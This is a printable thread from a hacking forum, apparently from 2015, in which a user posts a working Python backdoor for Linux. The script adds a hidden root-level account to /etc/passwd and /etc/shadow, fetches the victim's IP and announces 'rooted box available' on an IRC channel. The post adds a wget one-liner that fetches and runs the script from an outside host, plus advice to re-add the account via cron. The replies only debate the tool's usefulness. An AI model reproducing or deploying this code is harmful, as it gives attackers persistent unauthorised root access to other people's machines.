![]() |
|
python remote root Linux backdoor - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Python (https://sinister.li/Forum-Python) +--- Thread: python remote root Linux backdoor (/Thread-python-remote-root-Linux-backdoor) |
python remote root Linux backdoor - lola - 07-19-2015 Code: #!/usr/bin/python2
import crypt
import subprocess
import string
import socket
import time
import random
import sys
import os
#config the following shit
USERNAME = "kibo"
PASSWORD = "kibo_backdoor"
SALT = "changeme"
HOME_DIRECTORY = "/"
SHELL = "/bin/bash"
SERVER = "irc.rizon.net"
CHANNEL = "#changeme"
PORT = 6667
#end of config
def main():
passwd = open("/etc/passwd", "a+")
passwd.write("{0}:x:0:0:root:{1}:{2}".format(USERNAME, HOME_DIRECTORY, SHELL))
passwd.close()
shadow_root_ln = ""
for x in open("/etc/shadow", "a+").read().split("\n"):
if "root" in x:
shadow_root_ln += x
break
shadow_root_ln_split = shadow_root_ln.split(":")
shadow_root_ln_split[0] = USERNAME
shadow_root_ln_split[1] = crypt.crypt(PASSWORD, "$6${0}".format(SALT))
shadow_string = ""
for x in shadow_root_ln_split:
shadow_string += x+":"
shadow_string = shadow_string[:-1]
open("/etc/shadow", "a+").write("{0}\n".format(shadow_string))
p = subprocess.Popen(["curl", "wtfismyip.com/text"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
username = ''.join(random.choice(string.ascii_uppercase+string.ascii_lowercase) for _ in range(8))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((SERVER, PORT))
sock.send("USER {0} {0} {0} :ilovedicklol\n".format(username))
sock.send("NICK {0}\n".format(username))
sock.send("JOIN {0}\n".format(CHANNEL))
sock.send("PRIVMSG {0} :rooted box available: {1}\n".format(CHANNEL, out))
time.sleep(5)
sock.send("DISCONNECT\n")
if __name__ == "__main__":
main()how this works is it creates a user by creating new entries in /etc/passwd and /etc/shadow then connecting to a given irc server and channel and then retrieving the ip of the target box and sending it in the irc channel also, this depends on python2 don't try it with python3 anyway yeah this is pretty simple and is in no way supposed to be secure or hidden here's a oneliner if you need to backdoor a box superfast speed: Code: wget https://jii.moe/VJyHb3mu.py -o /tmp/kibo.py; chmod +x /tmp/kibo.py; /tmp/kibo.pyyou could also put this oneliner into a cron job to make sure the account gets added every hour should it be removed give suggestions of improvement or whatever (07-19-2015, 09:03 PM)Oni Wrote: You should explain it a bit more. You know, for stupid or confused people. uh. okay, sure. essentially the script creates a new user, and enters an irc channel and sends the ip of the box in that channel. example: Spoiler:![]() as I said in the op, this shouldn't be considered silent. RE: python remote root Linux backdoor - Oni - 07-19-2015 You should explain it a bit more. You know, for stupid or confused people. RE: python remote root Linux backdoor - Dyme - 07-19-2015 (07-19-2015, 09:03 PM)Oni Wrote: You should explain it a bit more. You know, for stupid or confused people. There is literally nothing else to explain it does what he says it does. (07-19-2015, 09:01 PM)lola Wrote: anyway yeah this is pretty simple and is in no way supposed to be secure or hidden ^The main point that should be taken away from this thread. (07-19-2015, 09:01 PM)lola Wrote: give suggestions of improvement or whatever Stop working on this it has absolutely no practical use compared to everything else out there. RE: python remote root Linux backdoor - lola - 07-19-2015 (07-19-2015, 09:09 PM)Dyme Wrote: Stop working on this it has absolutely no practical use compared to everything else out there. didn't really say it does though, there's much better shit out there than this lol. yeah, to reiterate what you mentioned, (07-19-2015, 09:01 PM)lola Wrote: this is pretty simple and is in no way supposed to be secure or hidden I just hadn't posted shit on this account in ages, I needed something to post. oh btw I haven't "worked" on this in ages. it took about 30 minutes to conjure up. RE: python remote root Linux backdoor - Dyme - 07-19-2015 (07-19-2015, 09:14 PM)lola Wrote: didn't really say it does though, there's much better shit out there than this lol. Yeah I understand that, however my suggestion is for you to abandon this project specifically because of what you just stated. I'm not trying to belittle you or anything; I'm just recommending that you start working on something else. RE: python remote root Linux backdoor - lola - 07-19-2015 (07-19-2015, 09:19 PM)Dyme Wrote: Yeah I understand that, however my suggestion is for you to abandon this project specifically because of what you just stated. yep. I already have started working on other things. this was purely just a time-killer. and thanks. RE: python remote root Linux backdoor - Danny - 07-02-2016 Nice OP. I might release my python Facebook account creator with random generation of info/read emails from file or my post status from CLI (Facebook). GOOD work OP |